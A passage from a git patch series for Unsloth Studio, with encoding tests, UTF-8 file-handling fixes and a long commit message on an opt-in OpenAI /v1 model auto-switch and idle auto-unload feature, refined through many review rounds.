+def test_banner_prints_on_strict_cp1252_stdout(monkeypatch):
+    buf = io.BytesIO()
+    stdout = io.TextIOWrapper(buf, encoding = "cp1252", errors = "strict")
+    monkeypatch.setattr(sys, "stdout", stdout)
+
+    print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
+    stdout.flush()
+
+    out = buf.getvalue().decode("cp1252")
+    assert "? Unsloth Studio is running" in out
+
+
+def test_banner_print_fallback_handles_unknown_stdout_encoding(monkeypatch):
+    class InvalidEncodingStdout:
+        encoding = "not-a-real-codec"
+
+        def __init__(self):
+            self.buf = io.BytesIO()
+            self.inner = io.TextIOWrapper(self.buf, encoding = "cp1252", errors = "strict")
+
+        def write(self, text):
+            return self.inner.write(text)
+
+        def flush(self):
+            return self.inner.flush()
+
+        def getvalue(self):
+            self.flush()
+            return self.buf.getvalue().decode("cp1252")
+
+    stdout = InvalidEncodingStdout()
+    monkeypatch.setattr(sys, "stdout", stdout)
+
+    print_studio_access_banner(port = 8891, bind_host = "127.0.0.1", display_host = "127.0.0.1")
+
+    assert "? Unsloth Studio is running" in stdout.getvalue()
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index a483aeeb6c..d3bfbbf96b 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -71,7 +71,7 @@ def _get_base_load_in_4bit(model_config) -> bool:
         if not adapter_cfg_path.exists():
             return True
 
-        with open(adapter_cfg_path) as f:
+        with open(adapter_cfg_path, encoding = "utf-8") as f:
             adapter_cfg = json.load(f)
 
         training_method = adapter_cfg.get("unsloth_training_method")
diff --git a/unsloth_cli/commands/studio.py b/unsloth_cli/commands/studio.py
index 7a5080bd10..80641a17c3 100644
--- a/unsloth_cli/commands/studio.py
+++ b/unsloth_cli/commands/studio.py
@@ -461,7 +461,7 @@ def _write_auth_secret(path: Path, secret: str) -> None:
             os.chmod(tmp_path, 0o600)
         except OSError:
             pass
-        with os.fdopen(fd, "w") as f:
+        with os.fdopen(fd, "w", encoding = "utf-8") as f:
             fd = -1
             f.write(secret)
         os.replace(tmp_path, path)

From 5211b506e1d59d647528631e03cef1cb43ccbf7d Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Wed, 1 Jul 2026 06:42:23 -0700
Subject: [PATCH 171/306] Studio: opt-in OpenAI /v1 model auto-switch and idle
 keep-warm (#6392)

* Studio: opt-in OpenAI /v1 model auto-switch and idle keep-warm

The OpenAI-compatible endpoints serve whichever GGUF is loaded and ignore the
request model field, so an OpenAI client that changes model never reloads. Add
an opt-in setting that, when a /v1 request names a downloaded local GGUF
different from the loaded one, loads it before serving by reusing the existing
/load path (its dedup, tensor fallback, and threading apply). Unknown names
still serve the loaded model, so drop-in compatibility is preserved and no
remote download is triggered.

Also add an optional idle auto-unload (TTL keep-warm): a pure-ASGI middleware
tracks in-flight inference requests so a stream is never unloaded mid-response,
and a lifespan loop unloads the model after the configured idle seconds. Both
settings default off and live in the app_settings store, exposed via
GET/PUT /api/settings/openai-auto-switch.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: variant-aware auto-switch, /v1/responses coverage, keep-warm load stamp

Follow-ups from review of the opt-in OpenAI auto-switch path:

1. Variant-aware dedup. _maybe_auto_switch_model compared only the repo id, so
   requesting another quant of the loaded repo (e.g. Q4_K_M loaded, Q8_0 asked)
   was served by the old quant. Compare hf_variant too, matching /load dedup.

2. Streaming /v1/responses now calls the auto-switch hook. It went straight into
   _responses_stream and only checked is_loaded, so stream=True could serve the
   old model or 400. Non-streaming already routed through chat completions; the
   hook is idempotent once loaded.

3. resolve_local_gguf tries an exact id match before splitting a trailing
   :VARIANT, so local ids that contain a colon (e.g. a Windows path) resolve
   instead of being cut at the drive letter.

4. Idle keep-warm stamps activity on a load/swap transition. _last_active was
   only refreshed by inference requests, so a model loaded after the server sat
   idle past the TTL could be unloaded before its first request.

Tests cover each case.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make the /v1/responses auto-switch test order-independent

The new streaming-responses test passed in isolation but failed under the CI's
randomized collection order with "object has no attribute 'state'": it passed a
bare object() as the request and stubbed only one dispatcher, so an ordering
where the real dispatcher ran hit request.state. Give the request a state and
stub both dispatchers; the test still asserts the hook fires before dispatch.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: assert /v1/responses auto-switch wiring on source, not at runtime

The behavioral version executed openai_responses and relied on stubbing its
callees, which a randomized collection order in CI could defeat (the real
dispatcher ran and hit request attributes). Assert on the function source that
the hook precedes both dispatchers instead; the hook's runtime behavior is
already covered by the direct _maybe_auto_switch_model tests.

* Studio: auto-switch on /v1/embeddings, GGUF-only targets, idle-unload race gate

Second-pass review follow-ups on the opt-in auto-switch path:

1. /v1/embeddings now calls the auto-switch hook before the loaded-state check,
   matching the other model-bearing OpenAI endpoints (the keep-warm middleware
   already treats embeddings as inference).

2. The resolver index is now GGUF-only. The local-model scanners also surface
   Transformers/safetensors repos; without a filter, auto-switch could unload
   the GGUF and route a request into the non-GGUF loader. _has_local_gguf checks
   a direct .gguf, a models-dir folder, and the HF-cache snapshots layout.

3. Idle keep-warm now holds an asyncio gate across the idle check and the
   unload, and a request bumps inflight under the same gate, so the loop can no
   longer unload in the window between "looks idle" and the kill.

Tests cover each. Broader local-model source parity (LM Studio, Ollama, legacy
caches, custom scan folders) is a follow-up; missing one of those today just
falls through to the loaded model.

* Studio: variant-aware local resolver, count_tokens + audio auto-switch coverage

Third-pass review follow-ups on the opt-in auto-switch path:

1. The resolver is now variant-aware via list_local_gguf_variants. It indexes
   only the quants actually on disk, recursing snapshots and quant subdirs such
   as the nested per-quant folders, so a requested repo:VARIANT resolves only
   when that quant is local and a bare repo resolves to a concrete local quant.
   This fixes two gaps: the previous shallow glob rejected nested-variant GGUF
   repos, and a request for an uncached quant could send /load down the remote
   download path, breaking the local-only contract.

2. /v1/messages/count_tokens now auto-switches like its sibling /v1/messages, so
   a count uses the requested model's tokenizer.

3. /api/inference/audio/generate (direct GGUF TTS) is now tracked as in-flight
   inference, so the idle loop cannot unload the model mid-generation.

Tests cover each. Two reviewer items are left as follow-ups: indexing the
remaining local sources (LM Studio, Ollama, legacy/default caches, custom scan
folders), which fails safe today by falling through to the loaded model; and
fully serializing concurrent different-model requests, an inherent limit of the
single-slot llama backend that the opt-in feature is not designed around.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make local GGUF resolver fail-safe so a bad model name cannot 500

The auto-switch hook calls resolve_local_gguf without its own guard, and
/v1/completions and /v1/embeddings pass body.get("model") through unchanged.
A non-string model (e.g. {"model": 123}) or any internal scan failure would
then raise out of the resolver and turn a request that would otherwise be
served by the loaded model into a 500, breaking the drop-in compatibility the
feature is built on.

Guard the resolver at its boundary: reject non-string input up front and wrap
the lookup so any failure returns None (fall through to the loaded model).
Add regression tests for both paths.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: per-model launch flags for auto-switched GGUF models

* Studio: list switch-eligible GGUFs in /v1/models when auto-switch is on

* Studio: settings UI for OpenAI model auto-switch and idle auto-unload

* Studio: show save error over the disabled-idle hint in auto-switch settings

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address gemini review (case-insensitive /v1/models retrieve, idle-input empty guard)

* Studio: address codex review (deterministic override args, exclude probe/embedding models from discovery)

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep-warm count_tokens, gate idle on auto-switch, drop hidden models

Three hardening fixes to the opt-in auto-switch path surfaced while reviewing
the work that builds on it:

1. count_tokens keep-warm. /v1/messages/count_tokens counts via the loaded
   tokenizer and already auto-switches, but the keep-warm middleware did not
   track it, so idle auto-unload could free the model mid-count. It is now a
   tracked in-flight path.

2. "Off means unchanged" for idle unload. get_auto_unload_idle_seconds now
   reports 0 while auto-switch is disabled. Idle unload only makes sense with
   auto-switch on (an unloaded model returns only via the next request's swap),
   so a stray TTL can no longer trigger a destructive unload while the feature
   is off, keeping the disabled state identical to pre-feature behavior.

3. Hidden models are not switch targets. The resolver index now skips what
   Studio hides from its own pickers (the llama.cpp validation probe, RAG
   embedding weights) via _is_hidden_model, so they can never be auto-switched
   to by name.

Tests added for each.

* Studio: bare-id reuse, responses validation order, in-flight tracking

Review follow-ups after folding in the per-model overrides and discovery work:

1. A bare model id (no :VARIANT) is now satisfied by any loaded quant of that
   repo. Previously a bare name resolved to the largest local quant, so it could
   force a slow reload when a different quant of the same repo was already
   serving. An explicit repo:VARIANT request still honors the quant.

2. /v1/responses now runs the auto-switch hook after the empty-input validation
   so a request that 400s can no longer trigger a multi-minute model load before
   being rejected. The hook still precedes both dispatchers, so streaming
   requests switch.

3. The keep-warm middleware now tracks in-flight requests whenever auto-switch
   is enabled rather than only when the idle TTL is already positive, so a stream
   that starts with the TTL at 0 is still protected if idle-unload is enabled
   mid-stream. Off still passes straight through.

Tests added for each.

* Studio: tighten auto-switch code comments

Comment/docstring-only pass over the OpenAI auto-switch feature: collapse
multi-line blocks, drop a comment that restated the gate it sits next to, and
trim verbose docstrings on internal helpers while keeping the load-bearing
rationale (concurrency, API behavior, drop-in compat, gotchas). No logic
change: verified comment-only with the AST/printer signature check.

* Studio: bind auto-switch locks per running loop

Review follow-up. The auto-switch swap lock and the keep-warm unload gate were
module-level asyncio.Lock objects. That is safe under the single uvicorn loop
and on Python 3.10+ (the Lock resolves the running loop lazily on acquire), but
a module-level Lock binds to one loop on pre-3.10, which can raise a loop
mismatch in multi-loop runners. Resolve each lock through a per-loop accessor
backed by a WeakKeyDictionary so every running loop gets its own Lock and stale
loops are collected. No behavior change under the server's single loop.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: auto-switch re-review fixes (body codes, coverage, swap, alias, tracking)

Follow-ups from a second review pass over the opt-in OpenAI auto-switch feature:

1. OFF-state status codes: /v1/completions and /v1/embeddings moved the body
   read ahead of the loaded-state check, so a malformed/empty body with no model
   loaded returned 500 instead of the prior 503. A shared helper reads the body
   defensively (an unparseable/non-dict body yields no model), and the handler
   re-reads after the 503 gate to surface the original parse error exactly as
   before. OFF behavior is unchanged.

2. Local-model coverage: the resolver index only scanned ./models and the active
   HF cache, while the model picker also lists the legacy/default HF caches, LM
   Studio dirs, and user scan folders. A request for one of those named models
   silently served the loaded model instead. _build_index now scans the same
   roots (Ollama's symlink-creating scanner is skipped on the request path), and
   resolution is offloaded with asyncio.to_thread so the wider scan never blocks
   the event loop.

3. Swap vs in-flight stream: a cross-model swap killed the llama-server while
   another client was still streaming from it. The hook now tracks how many
   requests are streaming on the loaded model (in-flight minus those still inside
   the hook) and returns 409 instead of swapping while one is active. Concurrent
   same-model requests never reach this path, so they are unaffected.

4. Idle-unload + alias: after idle-unload freed the model, an unknown/alias name
   resolved to nothing and 503'd, though it served the active model before the
   TTL. Idle-unload now remembers the freed id and an alias request reloads it
   (only an already-local model, so no remote download), cleared once a model is
   loaded again.

5. In-flight tracking: the keep-warm middleware tracked in-flight only while the
   feature was on, so a stream started while off could be unloaded if idle-unload
   was enabled mid-stream. It now tracks on every inference path; counting is
   cheap and invisible to clients.

Tests added for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Remove stray async_task_outputs files committed by mistake

* Studio: auto-switch review round 3 (revert swap guard, hardening)

Addressing a third review pass:

- Revert the cross-model swap guard. It counted keep-warm in-flight (which
  includes external-provider calls that never touch the local model) and so
  could 409 a local swap spuriously, and it still left a same-model request able
  to start streaming on the model a concurrent swap was unloading. A correct fix
  needs a request-lifetime reader/writer barrier; a partial guard was worse than
  the honest single-slot behavior, so concurrent different-model use is back to
  being serialized (documented), like llama-swap's single slot.
- Non-string request model (e.g. {"model": 123} on a raw-body endpoint) is now
  treated as absent, so it falls through instead of raising in the membership
  checks once an idle-unload stash exists.
- Idle-unload now stashes and replays the freed quant: an alias reload restores
  the exact (id, variant) that was freed rather than the largest local quant.
- Anthropic /v1/messages validates max_tokens before the auto-switch hook, so a
  request that 400s never triggers a model load.
- Keep-warm tracks a pending count for requests waiting on the unload gate, so
  the idle loop cannot unload the model out from under a request that is blocked
  on the gate but not yet counted as in-flight.
- The idle-unload task is awaited after cancel on shutdown to avoid pending-task
  warnings.
- The resolver's HF cache scan is None-safe and logs at debug instead of letting
  a bad root abort the whole index build.
- upsert_app_setting_map_entry rolls back explicitly on error.

Tests updated/added for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep saved idle-unload seconds when auto-switch is toggled off

* Studio: auto-switch hardening (thread-safe lock maps, body validation)

Defensive fixes from review:

- Guard the per-loop WeakKeyDictionary get-or-create for both the unload gate and
  the auto-switch lock with a threading lock, since WeakKeyDictionary mutation is
  not thread-safe when two event loops run on different threads.
- Build the resolver index under the cache lock so concurrent callers with an
  expired cache don't all run the multi-dir scan at once.
- /v1/completions and /v1/embeddings return a clean 400 for a valid JSON body
  that is not an object (e.g. a list), instead of a 500 from body.get(...).
- The keep-warm middleware only tracks POST requests (inference is always POST),
  so CORS preflight (OPTIONS) is not counted, and tolerates a None path.

Tests added for the list-body 400 and the non-POST skip.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: auto-switch review round 4 (local-path load, swap guard, idle fixes)

From a 10-reviewer pass:

- HF-cache entries now load by a concrete local path, not the bare repo id. The
  resolver records a load_path (the snapshot dir for a models--* cache repo, the
  file/dir otherwise) so /load takes the local branch and can never trigger a
  download to satisfy a partial cache. The advertised loader_id (repo id) is kept
  as the launch-override key. resolve_local_gguf now returns
  (load_path, variant, loader_id).
- Re-add a single-slot swap guard: a cross-model swap returns 409 model_switch_busy
  while another inference request is active rather than killing its stream (the
  caller is excluded from the count), and holds the keep-warm gate across the load
  so no new inference starts mid-swap. Concurrent same-model requests never reach
  this path. A residual spurious 409 is possible while a concurrent or external-
  provider request is active; that is the documented single-slot tradeoff.
- Idle keep-warm tracks (model_identifier, hf_variant): reloading the same repo at
  a different quant counts as a fresh model, so it is not unloaded before one TTL.
- Track Studio's own /api/inference/generate/stream so the idle loop can't unload
  the model mid-stream on that route.
- A successful manual /load clears the idle-unload reload stash synchronously, not
  only on the next idle poll.

Also merged origin/main (the branch had fallen behind, which would have reverted
unrelated files on merge). Tests added/updated for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: auto-switch review round 5 (concurrency, identity, load gate)

From a 10-reviewer pass (9 request-changes, 1 approve):

- Concurrent same-target requests load once instead of each returning 409. The
  count-based busy guard could not tell "another request wants the same model"
  (safe, load once) from "another request is using the loaded model" (refuse).
  Track in-flight auto-switch requests per (target, variant) and subtract
  same-target waiters from the busy count; a cross-model swap still 409s while a
  genuinely different request is active.
- Fix the identity confusion introduced when round 4 began loading by concrete
  local path: the backend identifier became a filesystem path. Record the
  advertised repo id on the backend after an auto-switch load and use it so
  (a) a model loaded manually by repo id is recognized as already serving
  (no spurious reswap/409), (b) /v1/models reports the repo id, never a host
  path or a duplicate, and (c) the idle-unload stash keeps the override keyed by
  the repo id, so an alias reload after TTL keeps the user's saved launch flags.
- Gate the manual /load route with the keep-warm lifecycle gate so idle
  auto-unload can't unload a model mid-load. load_model now wraps _load_model_impl
  in the gate; auto-switch calls _load_model_impl directly since it already holds
  the gate.
- Restore default-off parity on Anthropic /v1/messages: an unloaded backend with
  auto-switch disabled 503s before the max_tokens 400 check, as it did pre-feature.
  When the feature is on, request-shape validation still runs before any load.

Tests added for each; full backend suite diff vs baseline is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: auto-switch review round 6 (concurrency ordering, leaks, unload gate)

From a second 10-reviewer pass (8 request-changes, 2 approve):

- Same-target concurrency: register a waiter by the raw requested model before
  the (slow) resolve, and exclude pending requests from the swap busy count. The
  middleware counts a concurrent same-model request as in-flight before it
  resolves and joins the resolved-target waiter map, so the prior fix could still
  409 it. The guard now subtracts max(same resolved-target, same raw-request)
  waiters and ignores pending (a pending request is blocked in the middleware,
  not generating, so a swap can't interrupt it).
- External-provider requests no longer block a local swap. The keep-warm
  middleware counts every inference-path POST, but external-provider chat returns
  before the auto-switch hook and never touches the local GGUF. The chat handler
  now untracks itself before proxying, so its in-flight stream can't trip
  model_switch_busy on a concurrent local auto-switch. The middleware skips its
  own end-decrement for an untracked request.
- Manual /unload is gated like load and idle-unload: it holds the lifecycle gate
  and returns 409 rather than tearing down llama-server while an inference request
  is in flight.
- Response model id no longer leaks the load path. /v1/models already advertised
  the repo id; chat, completions, embeddings, Anthropic messages, and audio
  response bodies now use the same _llama_public_model_id helper instead of the
  concrete on-disk model_identifier.
- Chat completions validates the non-system-message requirement before the
  auto-switch hook (as /responses and /messages already do), so an invalid
  request can't swap the resident model before returning 400.

Tests added for each; full backend suite diff vs baseline is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: auto-switch review round 7 (teardown policy, Unsloth-active swap, training)

From a third 10-reviewer pass (9 request-changes, 1 approve), all on the same
asymmetric-teardown theme. Resolved per the intended policy that only automatic
paths defer to an active stream; deliberate user actions stay interrupting:

- Revert the manual /unload in-flight guard added last round. A manual /load or
  /unload is a deliberate action and tears down immediately, as before; only the
  automatic idle-unload loop and auto-switch defer to an active request. This
  removes the asymmetry the reviewers flagged (manual /load, the /unload Unsloth
  branch, and the opposite-backend swaps inside _load_model_impl) by not
  extending the guard to deliberate paths, rather than spreading it.
- Auto-switch now refuses a swap whenever another inference request is in flight,
  not only when a GGUF is already loaded. _load_model_impl also unloads an active
  Unsloth/transformers backend before loading a GGUF, so the busy guard must cover
  that case too; otherwise an Unsloth stream could be killed by an auto-switch.
- Refuse API-initiated training while inference is active. When Studio is driven
  as an inference API (sk-unsloth key auth), POST /api/training/start returns 409
  if a request is in flight, since training frees VRAM by unloading the chat
  model and would kill the stream. The Studio UI (session auth) still starts
  training and coexists/frees VRAM as before. A mixed UI+API session is not yet
  special-cased. Adds auth.authentication.authenticated_via_api_key.

Tests added/updated for each; full backend suite diff vs baseline is unchanged.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: add UNSLOTH_MODEL_IDLE_TTL env override for idle-unload

Borrowed from PR 6517: a startup env var that sets the idle-unload TTL without
the settings UI. Unlike the stored setting (gated on auto-switch), the env value
is a standalone default that enables idle-unload even with auto-switch off, for
headless/container deploys. An explicit UI/API value still overrides it and stays
gated. The settings GET reflects the env default when nothing is stored.

* Studio: auto-switch fixes from review (paths, embeddings input, env idle reload)

- /v1/models advertises a client-facing alias instead of a filesystem path:
  the ./models and LM Studio scanners report the on-disk path as the model id,
  so the index now prefers model_id/display_name as the advertised/override id
  and keeps the concrete path internal as load_path, still resolvable by path.
- /v1/embeddings validates input before auto-switch: a request with a model but
  no input now 400s before the hook (like chat/responses/messages), so an
  invalid embeddings request cannot unload or swap the resident model.
- Standalone UNSLOTH_MODEL_IDLE_TTL reloads the freed model: the hook now runs
  when auto-switch or idle-unload is active, and with auto-switch off it skips
  the resolver and only restores the idle-unloaded model, so the first idle
  timeout no longer leaves later /v1 requests with nothing loaded.
- Do not resurrect a stale GGUF over an active Unsloth model: the reload-stash
  path bails when a non-GGUF backend is loaded, so an unknown /v1 name cannot
  tear down a live Transformers/Unsloth model.
- Defensive HF cache scan: each cache root's resolve/dedup is wrapped so a
  missing or malformed root skips that root rather than aborting the index.
- Single-model retrieve checks the id is a string before lowercasing.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: fix automatic-load asymmetry, audio reload, preview, idle timer

The standalone UNSLOTH_MODEL_IDLE_TTL reload is a second automatic-load
trigger, but several validate-before-switch guards and reload hooks only
checked the auto-switch toggle. Add a shared _automatic_model_load_may_run()
(auto-switch on, or idle TTL > 0) and route every guard through it.

- /v1/completions validates prompt before any automatic load (it was the one
  model-bearing route with no pre-check).
- /v1/chat/completions and /v1/embeddings pre-checks gate on the shared
  predicate so a standalone idle TTL cannot reload then reject.
- /v1/messages no longer 503s before the reload hook can restore an idle-freed
  model when auto-switch is off.
- Raw completions/embeddings with no model field pass a non-empty sentinel so
  the idle-stash reload runs, restoring the legacy "omit model, use loaded" path.
- /api/inference/audio/generate gains the reload hook (after message validation)
  so an idle-freed audio GGUF is restored.
- Public preview opts out of auto-switch via a request-scope flag, so a caller's
  model field cannot swap away from the pinned checkpoint; preview chat streams
  are now matched by _is_inference_path so idle-unload cannot kill them.
- Keep-warm no longer stamps activity on request start, and external-provider
  untracking decrements without restamping, so periodic external traffic can no
  longer keep the local GGUF warm forever.

Merges origin/main (the branch had fallen behind, which also brought in the
preview route the review flagged).

* Studio: surface model auto-switch in the API tab and demo it in examples

The OpenAI auto-switch toggle previously lived only in Settings -> General.
Add the same toggle to the API tab's usage-examples panel (it shares the
settings cache), and make the examples reflect it: when on, the Python
examples append a second call naming a different downloaded GGUF (so the
model field visibly selects which model serves), and the curl examples gain
a one-line note. Reuses the existing settings API client and i18n keys.

* Studio: harden OpenAI auto-switch reload-only path and Anthropic tool validation

- Omitted-model raw-body requests pass a reload-only sentinel so the idle-stash
  reload still restores an idle-freed model, but the resolver never matches a
  downloaded GGUF literally named "default".
- Reject malformed Anthropic client tools before _maybe_auto_switch_model so an
  invalid request can no longer evict the loaded model.

* Studio: extend auto-switch reload-only and tool validation to schema endpoints

- Schema-backed endpoints (chat completions, responses, count_tokens, messages,
  audio) defaulted an omitted model to "default" and passed it to the switch
  hook, so a downloaded GGUF named "default" could be swapped to. Route the hook
  through a helper that switches only on an explicitly set model, else reload-only.
- Propagate the explicit-set status when building the chat request from a
  Responses request, so the non-streaming chat re-check stays reload-only too.
- Validate Responses function tools before the switch hook so a malformed tool
  returns 400 without evicting the loaded model.

* Studio: serialize auto-switch swaps across event loops with a process-wide gate

The auto-switch lock is a per-event-loop asyncio.Lock, so two /v1 swaps on
different loops in one process could both pass it and race the single model slot
(the backend and _load_model_impl are process-wide). Add a process-wide
threading gate around the swap, acquired off the loop so a cross-loop wait never
blocks it, layered with the existing per-loop lock. Add a cross-loop test that
fails without the gate (two slow loads overlap) and passes with it.

* Studio: make the auto-switch swap gate wait cancellation-safe

_acquire_swap_gate awaited asyncio.to_thread(lock.acquire) when another loop held
the process-wide gate. to_thread cancellation doesn't stop the worker thread, so a
/v1 request cancelled mid-wait (client disconnect during a cross-loop swap) would
have its thread acquire the gate after the fact, while the finally that releases it
never runs -- permanently deadlocking later auto-switch swaps.

Poll a non-blocking acquire off a short asyncio.sleep instead: it still keeps the
wait off the loop and serializes across loops, but a cancel now lands during the
sleep, when the gate is not held, so nothing leaks. Add a test that deadlocks the
to_thread variant (it times out) and passes with the poll.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: validate modality and tool-confirmation before auto-switch

Two more request shapes could load a named GGUF and only then 400, evicting the
resident model:

- An image request naming a different text-only GGUF. The switch hook now takes
  require_vision and rejects a swap to a non-vision target before loading it; a
  GGUF's vision capability is its companion mmproj, knowable without a load, and
  matches the post-load guard. Only the resolver branch is checked, never the
  reload-stash restore.
- confirm_tool_calls=true with stream=false and local tools. /v1/chat/completions
  now rejects that shape before the hook, mirroring the local tool path's
  bypass_permissions exemption and intent signal.

The vision probe threads the ambient HF token to keep the capability-probe
invariant. Reload-only and idle-reload paths are unaffected.

* Studio: extend validate-before-switch and make the lifecycle gate process-wide

- /v1/messages/count_tokens now rejects malformed client tools before the switch
  hook, like /messages (shared _validate_anthropic_client_tools helper), so a
  count request can't evict the loaded model.
- /v1/chat/completions rejects a malformed tool_choice forcing object (a
  {"type":"function","function":{}} with no name) before the switch hook.
- The inference lifecycle gate that blocks new inference during a swap is now
  process-wide (a poll-acquired threading lock, cancellation-safe), not a
  per-loop asyncio lock, so a request on another event loop can't start inference
  while a swap tears the single backend down.
- Usage examples no longer hard-code a switch-demo repo most users lack; the
  model is an explicit placeholder the user replaces.

* Studio: extend the auto-switch modality guard to /v1/responses and /v1/messages

The pre-load vision check that guards /v1/chat/completions now also runs on
/v1/responses and /v1/messages, so an image request naming a text-only GGUF is
rejected before the swap and never evicts the resident vision model. Run the
vision capability probe off the event loop. Make the /v1/models retrieve
loaded fast-path case-insensitive, and never advertise a host path from the
resolver. Remove the dead list_switch_eligible_ids helper, superseded by the
/v1/models catalog.

* Studio: filter /v1/models to GGUF, per-loop catalog lock, reject system-only Responses

Address review findings on the auto-switch path:
- /v1/models advertises only GGUF models the API can actually switch to; a
  safetensors/LoRA entry would be selectable but never loadable via llama.cpp.
- The /v1/models catalog cache uses a per-loop lock (like the auto-switch path)
  so a second event loop awaiting it can't hang in a multi-loop process.
- /v1/responses rejects system/developer-only input before the switch, mirroring
  chat, so an invalid request can't evict the resident model.
- _build_index guards each scan source on its own so one bad root drops only
  that source; the vision probe logs a real detection failure instead of
  swallowing it.

* Studio: list cached GGUFs in /v1/models by inspecting files, not model_format

The HF-cache scanner leaves model_format unset for GGUF snapshots, so the
previous model_format == "gguf" filter dropped every downloaded HF-cache GGUF
from /v1/models and the retrieve fallback. Decide GGUF-ness from the on-disk
files via the resolver (info_has_local_gguf) instead, run off the event loop, so
the catalog advertises exactly what /v1 can serve.

* Studio: fix /v1/messages/count_tokens route binding plus auto-switch review fixes

The @router.post decorator for /messages/count_tokens had been separated from
anthropic_count_tokens by the _validate_anthropic_client_tools helper, so the
route bound to the validator and dropped its auth dependency. Move the decorator
back onto the handler. Add route-binding tests asserting each /v1 endpoint maps
to its handler with the auth dependency, so a decorator/handler split is caught
at the route level (the direct-call tests missed it).

Also from review:
- update_openai_auto_switch writes both settings keys in one transaction so a PUT
  can't leave one updated and the other stale (drop the now-unused single setters).
- max_seq_length override rejects 0 at the boundary (ge=1) instead of accepting
  then silently dropping it.
- Document that embeddings auto-switch is best-effort: GGUF pooling has no cheap
  pre-load probe like vision's mmproj, so a guard would false-reject GGUF embedders.
- Add a positive idle-unload test (loop frees the model and stashes it for reload).

* Studio: validate Responses tool_choice + Anthropic mixed tools before switch, filter Ollama from catalog

More auto-switch review findings:
- /v1/responses rejects a forcing-function tool_choice with no name before the
  switch, mirroring chat, so a malformed request can't evict the resident model.
- /v1/messages rejects mixing Anthropic server tools with custom client tools
  before the switch (the check depends only on the payload, so it moves up cleanly).
- /v1/models no longer advertises Ollama-link models: info_has_local_gguf excludes
  .studio_links / ollama_links entries, which the resolver skips and can't switch
  to, so an advertised id never silently falls through.

* Studio: guard chat audio input before switch; surface env-backed idle unload in settings UI

A chat request carrying audio_base64 rides the same companion mmproj
projector as a vision request, so a text-only target cannot serve it
either. Flag require_vision for audio input as well so the multimodal
probe runs before the switch and a rejected request never evicts the
working model. Generalize the reject message to cover image and audio.

The settings response now reports idle_unload_active (effective TTL > 0)
so the UI can distinguish idle-unload that is active via the
UNSLOTH_MODEL_IDLE_TTL env var from the case where it needs the toggle
enabled.

* Studio: harden auto-switch eviction guards (count_tokens vision, TTS reload-only, mmproj/stash)

Four eviction/correctness fixes on the opt-in /v1 auto-switch path:

- /v1/messages/count_tokens now carries the same require_vision guard as
  /messages, so an image count naming a text-only GGUF can't evict a loaded
  vision model for a swap that can't serve the request.

- /audio/generate is now reload-only. A local GGUF's audio-input capability
  is not a cheap pre-load probe (the companion mmproj signal can't tell an
  audio projector from a vision one, and codec TTS ships no projector), so
  resolving the client model could load a text/vision-only target and evict
  the working audio model before the audio check fails. Only the idle-stash
  restore runs here; switching TTS models is an explicit /load.

- The resolver no longer treats a standalone mmproj .gguf as a servable
  model. _scan_models_dir's standalone-file pass does not filter mmproj the
  way its directory scan does, so /v1/models could advertise a projector and
  a switch could load it over the real weights.

- A non-GGUF (Transformers/Unsloth) load and a deliberate /unload now clear
  the idle reload stash, so a manual load/unload is never superseded by a
  stale idle-freed GGUF that the next /v1 request resurrects.

* Studio: report advertised repo id consistently after an auto-switch

Two model-id reporting fixes so an auto-switched cached HF GGUF is named by
its repo id everywhere, not its snapshot path:

- Streamed /v1/responses envelopes now derive the model id from
  _llama_public_model_id (which prefers _openai_advertised_id) instead of the
  raw model_identifier. After an auto-switch the identifier is the snapshot
  path while the repo id lives in _openai_advertised_id, so the stream used to
  report a snapshot basename while /v1/models, chat completions, and
  non-streaming Responses all reported the repo id.

- When an advertised alias already resolves to the loaded model (a model
  loaded by local path, requested by its repo or LM Studio id), the
  already-serving early return now records the alias as the advertised id, so
  /v1/models and responses report the alias and mark it loaded instead of the
  path-derived basename. Resolver branch only; safe lock-free because an
  in-flight request blocks any concurrent swap via the single-slot busy guard.

* Studio: validate request shapes before auto-switch (prompt/input/audio/mcp confirm)

Four more validate-before-switch guards so a deterministic client error never
evicts the resident model on the opt-in /v1 auto-switch path:

- /v1/completions rejects an object/number prompt (only a string or array is
  valid) before the switch, instead of loading the named GGUF and letting
  llama-server reject the shape afterward.

- /v1/embeddings rejects an object/number input the same way.

- Chat rejects an oversized audio_base64 upload (413) before the switch. The
  size cap is a cheap, target-independent length check; the decode itself
  stays post-switch to avoid decoding a valid upload twice.

- The chat confirm-without-stream pre-switch guard now mirrors the tool loop's
  actual enablement: _effective_enable_tools (honoring a CLI --enable-tools
  policy) and mcp_enabled (which opens the tool loop on its own but defers to a
  CLI --disable-tools policy). Previously a confirm+no-stream request with only
  mcp_enabled slipped past and 400'd after the swap.

